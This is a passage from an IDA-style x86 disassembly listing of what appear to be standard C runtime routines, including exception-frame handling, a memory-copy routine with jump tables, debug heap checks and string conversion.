mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov ecx, [ebp+arg_0]
mov [ebp+var_30], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_2C], edx
lea eax, [ebp+var_30]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_41F970
call dword ptr [eax+68h]
add esp, 8
mov [ebp+var_34], 0
loc_41955C: ; DATA XREF: sub_4194C0+4Bo
cmp [ebp+var_4], 0
jz short loc_419579
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_419582
; ---------------------------------------------------------------------------
loc_419579: ; CODE XREF: sub_4194C0+A0j
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_419582: ; CODE XREF: sub_4194C0+B7j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4194C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419590 proc near ; DATA XREF: sub_4194C0+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 66h
test ecx, ecx
jz short loc_4195B5
mov edx, [ebp+arg_4]
mov dword ptr [edx+24h], 1
mov eax, 1
jmp short loc_41960C
; ---------------------------------------------------------------------------
loc_4195B5: ; CODE XREF: sub_419590+12j
push 1
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
push edx
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_423BE0
add esp, 20h
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+24h], 0
jnz short loc_4195FB
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_419340
; ---------------------------------------------------------------------------
loc_4195FB: ; CODE XREF: sub_419590+5Cj
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
mov eax, 1
loc_41960C: ; CODE XREF: sub_419590+23j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419590 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419620 proc near ; CODE XREF: sub_423CD0+135p
; sub_423F70+52p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, [eax+10h]
mov esi, [eax+0Ch]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_4]
test ecx, ecx
mov edi, esi
mov ebx, esi
jl short loc_419679
loc_41963E: ; CODE XREF: sub_419620+54j
cmp esi, 0FFFFFFFFh
jnz short loc_419648
call sub_424940
loc_419648: ; CODE XREF: sub_419620+21j
mov eax, [ebp+var_4]
dec esi
mov ecx, [ebp+arg_8]
lea edx, [esi+esi*4]
lea eax, [eax+edx*4]
cmp [eax+4], ecx
jge short loc_41965F
cmp ecx, [eax+8]
jle short loc_419664
loc_41965F: ; CODE XREF: sub_419620+38j
cmp esi, 0FFFFFFFFh
jnz short loc_41966F
loc_419664: ; CODE XREF: sub_419620+3Dj
mov eax, [ebp+arg_4]
mov edi, ebx
dec eax
mov ebx, esi
mov [ebp+arg_4], eax
loc_41966F: ; CODE XREF: sub_419620+42j
mov eax, [ebp+arg_4]
test eax, eax
jge short loc_41963E
mov eax, [ebp+arg_0]
loc_419679: ; CODE XREF: sub_419620+1Cj
mov ecx, [ebp+arg_C]
mov edx, [ebp+arg_10]
inc esi
mov [ecx], esi
mov [edx], edi
cmp edi, [eax+0Ch]
ja short loc_41968D
cmp esi, edi
jbe short loc_419692
loc_41968D: ; CODE XREF: sub_419620+67j
call sub_424940
loc_419692: ; CODE XREF: sub_419620+6Bj
mov ecx, [ebp+var_4]
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ecx+eax*4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_419620 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4196B0 proc near ; CODE XREF: sub_426A54+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_4196C8
push [ebp+arg_0]
call sub_431B70
sub_4196B0 endp
; =============== S U B R O U T I N E =======================================
sub_4196C8 proc near ; DATA XREF: sub_4196B0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4196C8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4196D0 proc near ; DATA XREF: sub_4196F2+Ao
; sub_41975A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_4196F1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_4196F1: ; CODE XREF: sub_4196D0+10j
retn
sub_4196D0 endp
; =============== S U B R O U T I N E =======================================
sub_4196F2 proc near ; CODE XREF: sub_424340+C2p
; sub_426A54+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_4196D0
push large dword ptr fs:0
mov large fs:0, esp
loc_41970F: ; CODE XREF: sub_4196F2:loc_41974Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41974C
cmp esi, [esp+1Ch+arg_4]
jz short loc_41974C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41974A
push 101h
mov eax, [ebx+esi*4+8]
call sub_419786
call dword ptr [ebx+esi*4+8]
loc_41974A: ; CODE XREF: sub_4196F2+44j
jmp short loc_41970F
; ---------------------------------------------------------------------------
loc_41974C: ; CODE XREF: sub_4196F2+2Aj
; sub_4196F2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_4196F2 endp
; =============== S U B R O U T I N E =======================================
sub_41975A proc near ; CODE XREF: sub_42441D+4Bp
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_4196D0
jnz short locret_41977C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41977C
mov eax, 1
locret_41977C: ; CODE XREF: sub_41975A+10j
; sub_41975A+1Bj
retn
sub_41975A endp
; =============== S U B R O U T I N E =======================================
sub_41977D proc near ; CODE XREF: sub_424840+1Ep
; sub_424840+40p
push ebx
push ecx
mov ebx, offset dword_443B5C
jmp short loc_419790
sub_41977D endp
; =============== S U B R O U T I N E =======================================
sub_419786 proc near ; CODE XREF: sub_4196F2+4Fp
; sub_426A54+78p
push ebx
push ecx
mov ebx, offset dword_443B5C
mov ecx, [ebp+8]
loc_419790: ; CODE XREF: sub_41977D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_419786 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4197A0 proc near ; CODE XREF: sub_40B943+5p
; sub_40BABA+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_4197A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4197C0 proc near ; CODE XREF: sub_40C1C0+Cp
; sub_41BF40+581p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4197E0
cmp edi, eax
jb loc_419958
loc_4197E0: ; CODE XREF: sub_4197C0+16j
test edi, 3
jnz short loc_4197FC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41981C
rep movsd
jmp off_419908[edx*4]
; ---------------------------------------------------------------------------
loc_4197FC: ; CODE XREF: sub_4197C0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_419814
and eax, 3
add ecx, eax
jmp dword ptr loc_41981C+4[eax*4]
; ---------------------------------------------------------------------------
loc_419814: ; CODE XREF: sub_4197C0+46j
jmp dword ptr loc_419918[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41981C: ; CODE XREF: sub_4197C0+31j
; sub_4197C0+8Ej ...
jmp off_41989C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41982C+4
dd offset loc_41985C
; ---------------------------------------------------------------------------
loc_41982C: ; DATA XREF: sub_4197C0+64o
sbb byte ptr [eax-2EDCFFBFh], 8Ah
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41981C
rep movsd
jmp off_419908[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41985C: ; DATA XREF: sub_4197C0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41981C
rep movsd
jmp off_419908[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41981C
rep movsd
jmp off_419908[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41989C dd offset loc_4198FF ; DATA XREF: sub_4197C0:loc_41981Cr
dd offset loc_4198EC
dd offset loc_4198E4
dd offset loc_4198DC
dd offset loc_4198D4
dd offset loc_4198CC
dd offset loc_4198C4
dd offset loc_4198BC
; ---------------------------------------------------------------------------
loc_4198BC: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4198C4: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4198CC: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4198D4: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4198DC: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4198E4: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4198EC: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4198FF: ; CODE XREF: sub_4197C0:loc_41981Cj
; DATA XREF: sub_4197C0:off_41989Co
jmp off_419908[edx*4]
; ---------------------------------------------------------------------------
align 4
off_419908 dd offset loc_419918 ; DATA XREF: sub_4197C0+35r
; sub_4197C0+92r ...
dd offset loc_419920
dd offset loc_41992C
dd offset loc_419940
; ---------------------------------------------------------------------------
loc_419918: ; CODE XREF: sub_4197C0+35j
; sub_4197C0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_419920: ; CODE XREF: sub_4197C0+35j
; sub_4197C0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41992C: ; CODE XREF: sub_4197C0+35j
; sub_4197C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_419940: ; CODE XREF: sub_4197C0+35j
; sub_4197C0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419958: ; CODE XREF: sub_4197C0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41998C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_419980
std
rep movsd
cld
jmp off_419AA0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_419980: ; CODE XREF: sub_4197C0+1B1j
; sub_4197C0+208j ...
neg ecx
jmp off_419A50[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41998C: ; CODE XREF: sub_4197C0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4199A4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4199A4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4199A4: ; CODE XREF: sub_4197C0+1D6j
; DATA XREF: sub_4197C0+1DDr
jmp off_419AA0[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4199B7+1
; ---------------------------------------------------------------------------
fcomp dword ptr [ecx-65FFFFBFh]
inc ecx
loc_4199B7: ; DATA XREF: sub_4197C0+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_419980
std
rep movsd
cld
jmp off_419AA0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_419980
std
rep movsd
cld
jmp off_419AA0[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_419980
std
rep movsd
cld
jmp off_419AA0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_419A54
dd offset loc_419A5C
dd offset loc_419A64
dd offset loc_419A6C
dd offset loc_419A74
dd offset loc_419A7C
dd offset loc_419A84
off_419A50 dd offset loc_419A97 ; DATA XREF: sub_4197C0+1C2r
; ---------------------------------------------------------------------------
loc_419A54: ; DATA XREF: sub_4197C0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_419A5C: ; DATA XREF: sub_4197C0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_419A64: ; DATA XREF: sub_4197C0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_419A6C: ; DATA XREF: sub_4197C0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_419A74: ; DATA XREF: sub_4197C0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_419A7C: ; DATA XREF: sub_4197C0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_419A84: ; DATA XREF: sub_4197C0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_419A97: ; CODE XREF: sub_4197C0+1C2j
; DATA XREF: sub_4197C0:off_419A50o
jmp off_419AA0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_419AA0 dd offset loc_419AB0 ; DATA XREF: sub_4197C0+1B7r
; sub_4197C0:loc_4199A4r ...
dd offset loc_419AB8
dd offset loc_419AC8
dd offset loc_419ADC
; ---------------------------------------------------------------------------
loc_419AB0: ; CODE XREF: sub_4197C0+1B7j
; sub_4197C0:loc_4199A4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419AB8: ; CODE XREF: sub_4197C0+1B7j
; sub_4197C0:loc_4199A4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419AC8: ; CODE XREF: sub_4197C0+1B7j
; sub_4197C0:loc_4199A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_419ADC: ; CODE XREF: sub_4197C0+1B7j
; sub_4197C0:loc_4199A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_4197C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B00 proc near ; CODE XREF: sub_40C2B8+4p
; sub_431610+1Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_419B12
jmp loc_419B9A
; ---------------------------------------------------------------------------
loc_419B12: ; CODE XREF: sub_419B00+Bj
push 9
call sub_41B780
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_4], eax
loc_419B25: ; CODE XREF: sub_419B00+7Bj
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jz short loc_419B77
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 1
jz short loc_419B77
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jz short loc_419B77
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 3
jz short loc_419B77
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 2Fh
push offset dword_433CA8
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_419B77
int 3 ; Trap to Debugger
loc_419B77: ; CODE XREF: sub_419B00+34j
; sub_419B00+3Dj ...
xor ecx, ecx
test ecx, ecx
jnz short loc_419B25
mov edx, [ebp+var_4]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_415860
add esp, 8
push 9
call sub_41B820
add esp, 4
loc_419B9A: ; CODE XREF: sub_419B00+Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419B00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419BB0 proc near ; CODE XREF: sub_40C318+Bp
; ___:0041291Dp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_414E00
add esp, 8
pop ebp
retn
sub_419BB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419BD0 proc near ; CODE XREF: sub_419C90+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_417AB0
push 2
mov eax, dword_4DC7D0
push eax
call sub_415CA0
add esp, 8
mov ecx, dword_4DC7CC
sub ecx, dword_4DC7D0
add ecx, 4
cmp eax, ecx
jnb short loc_419C5D
push 68h
push offset dword_433CB4
push 2
push 2
mov edx, dword_4DC7D0
push edx
call sub_415CA0
add esp, 8
add eax, 10h
push eax
mov eax, dword_4DC7D0
push eax
call sub_415260
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_419C3A
call sub_417AC0
xor eax, eax
jmp short loc_419C7F
; ---------------------------------------------------------------------------
loc_419C3A: ; CODE XREF: sub_419BD0+5Fj
mov ecx, dword_4DC7CC
sub ecx, dword_4DC7D0
sar ecx, 2
mov edx, [ebp+var_4]
lea eax, [edx+ecx*4]
mov dword_4DC7CC, eax
mov ecx, [ebp+var_4]
mov dword_4DC7D0, ecx
loc_419C5D: ; CODE XREF: sub_419BD0+2Aj
mov edx, dword_4DC7CC
mov eax, [ebp+arg_0]
mov [edx], eax
mov ecx, dword_4DC7CC
add ecx, 4
mov dword_4DC7CC, ecx
call sub_417AC0
mov eax, [ebp+arg_0]
loc_419C7F: ; CODE XREF: sub_419BD0+68j
mov esp, ebp
pop ebp
retn
sub_419BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C90 proc near ; CODE XREF: ___:0040BD42p
; sub_4318F0+8p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_419BD0
add esp, 4
neg eax
sbb eax, eax
neg eax
dec eax
pop ebp
retn
sub_419C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CB0 proc near ; DATA XREF: ___:0043601Co
push ebp
mov ebp, esp
push 0B6h
push offset dword_433CB4
push 2
push 80h
call sub_414DD0
add esp, 10h
mov dword_4DC7D0, eax
cmp dword_4DC7D0, 0
jnz short loc_419CE4
push 18h
call sub_41A9A0
add esp, 4
loc_419CE4: ; CODE XREF: sub_419CB0+28j
mov eax, dword_4DC7D0
mov dword ptr [eax], 0
mov ecx, dword_4DC7D0
mov dword_4DC7CC, ecx
pop ebp
retn
sub_419CB0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D00 proc near ; CODE XREF: sub_40C33C+77p
; ___:0041239Dp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push offset dword_4DB45C
nop
call near ptr 2840CCAh
cmp dword_4DB458, 0
jz short loc_419D38
push offset dword_4DB45C
call near ptr 2840C7Bh
nop
push 13h
call sub_41B780
add esp, 4
mov [ebp+var_4], 1
jmp short loc_419D3F
; ---------------------------------------------------------------------------
loc_419D38: ; CODE XREF: sub_419D00+18j
mov [ebp+var_4], 0
loc_419D3F: ; CODE XREF: sub_419D00+36j
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_419D80
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_4], 0
jz short loc_419D68
push 13h
call sub_41B820
add esp, 4
jmp short loc_419D73
; ---------------------------------------------------------------------------
loc_419D68: ; CODE XREF: sub_419D00+5Aj
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
loc_419D73: ; CODE XREF: sub_419D00+66j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_419D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D80 proc near ; CODE XREF: sub_419D00+4Bp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp+var_4], 0
cmp [ebp+arg_0], 0
jz short loc_419DA3
cmp [ebp+arg_8], 0
jnz short loc_419DA3
xor eax, eax
jmp loc_419F64
; ---------------------------------------------------------------------------
loc_419DA3: ; CODE XREF: sub_419D80+14j
; sub_419D80+1Aj ...
cmp [ebp+arg_4], 0
jnz short loc_419DC7
push offset dword_433CCC
push 0
push 55h
push offset dword_433CC0
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_419DC7
int 3 ; Trap to Debugger
loc_419DC7: ; CODE XREF: sub_419D80+27j
; sub_419D80+44j
xor eax, eax
test eax, eax
jnz short loc_419DA3
cmp [ebp+arg_0], 0
jz loc_419F16
cmp dword_4DB1B8, 0
jnz short loc_419E29
loc_419DE0: ; CODE XREF: sub_419D80+9Fj
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_8]
jnb short loc_419E21
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movzx ax, byte ptr [edx]
mov ecx, [ebp+arg_0]
mov [ecx], ax
mov edx, [ebp+arg_4]
add edx, [ebp+var_4]
movsx eax, byte ptr [edx]
test eax, eax
jnz short loc_419E0D
mov eax, [ebp+var_4]
jmp loc_419F64
; ---------------------------------------------------------------------------
loc_419E0D: ; CODE XREF: sub_419D80+83j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
add edx, 2
mov [ebp+arg_0], edx
jmp short loc_419DE0
; ---------------------------------------------------------------------------
loc_419E21: ; CODE XREF: sub_419D80+66j
mov eax, [ebp+var_4]
jmp loc_419F64
; ---------------------------------------------------------------------------
loc_419E29: ; CODE XREF: sub_419D80+5Ej
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_4DB1C8
push eax
nop
call near ptr 2810000h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_419E59
mov eax, [ebp+var_4]
sub eax, 1
jmp loc_419F64
; ---------------------------------------------------------------------------
loc_419E59: ; CODE XREF: sub_419D80+CCj
nop
call near ptr 26908EFh
cmp eax, 7Ah
jz short loc_419E77
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_419F64
; ---------------------------------------------------------------------------
loc_419E77: ; CODE XREF: sub_419D80+E2j
mov ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
jmp short loc_419E8E
; ---------------------------------------------------------------------------
loc_419E85: ; CODE XREF: sub_419D80:loc_419ECFj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_419E8E: ; CODE XREF: sub_419D80+103j
mov ecx, [ebp+var_10]
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
test ecx, ecx
jz short loc_419ED1
mov eax, [ebp+var_8]
xor ecx, ecx
mov cl, [eax]
test ecx, ecx
jz short loc_419ED1
mov edx, [ebp+var_8]
xor eax, eax
mov al, [edx]
mov ecx, off_443C7C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_419ECF
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_419ECF: ; CODE XREF: sub_419D80+144j
jmp short loc_419E85
; ---------------------------------------------------------------------------
loc_419ED1: ; CODE XREF: sub_419D80+11Cj
; sub_419D80+127j
mov ecx, [ebp+var_8]
sub ecx, [ebp+arg_4]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_C]
push ecx
mov edx, [ebp+arg_4]
push edx
push 1
mov eax, dword_4DB1C8
push eax
nop
call near ptr 2810000h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_419F11
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_419F64
; ---------------------------------------------------------------------------
loc_419F11: ; CODE XREF: sub_419D80+17Fj
mov eax, [ebp+var_4]
jmp short loc_419F64
; ---------------------------------------------------------------------------
loc_419F16: ; CODE XREF: sub_419D80+51j
cmp dword_4DB1B8, 0
jnz short loc_419F2D
mov ecx, [ebp+arg_4]
push ecx
call sub_414BE0
add esp, 4
jmp short loc_419F64
; ---------------------------------------------------------------------------
loc_419F2D: ; CODE XREF: sub_419D80+19Dj
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+arg_4]
push edx
push 9
mov eax, dword_4DB1C8
push eax
nop
call near ptr 2810000h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_419F5E
call sub_420520
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp short loc_419F64
; ---------------------------------------------------------------------------
loc_419F5E: ; CODE XREF: sub_419D80+1CCj
mov eax, [ebp+var_4]
sub eax, 1
loc_419F64: ; CODE XREF: sub_419D80+1Ej
; sub_419D80+88j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
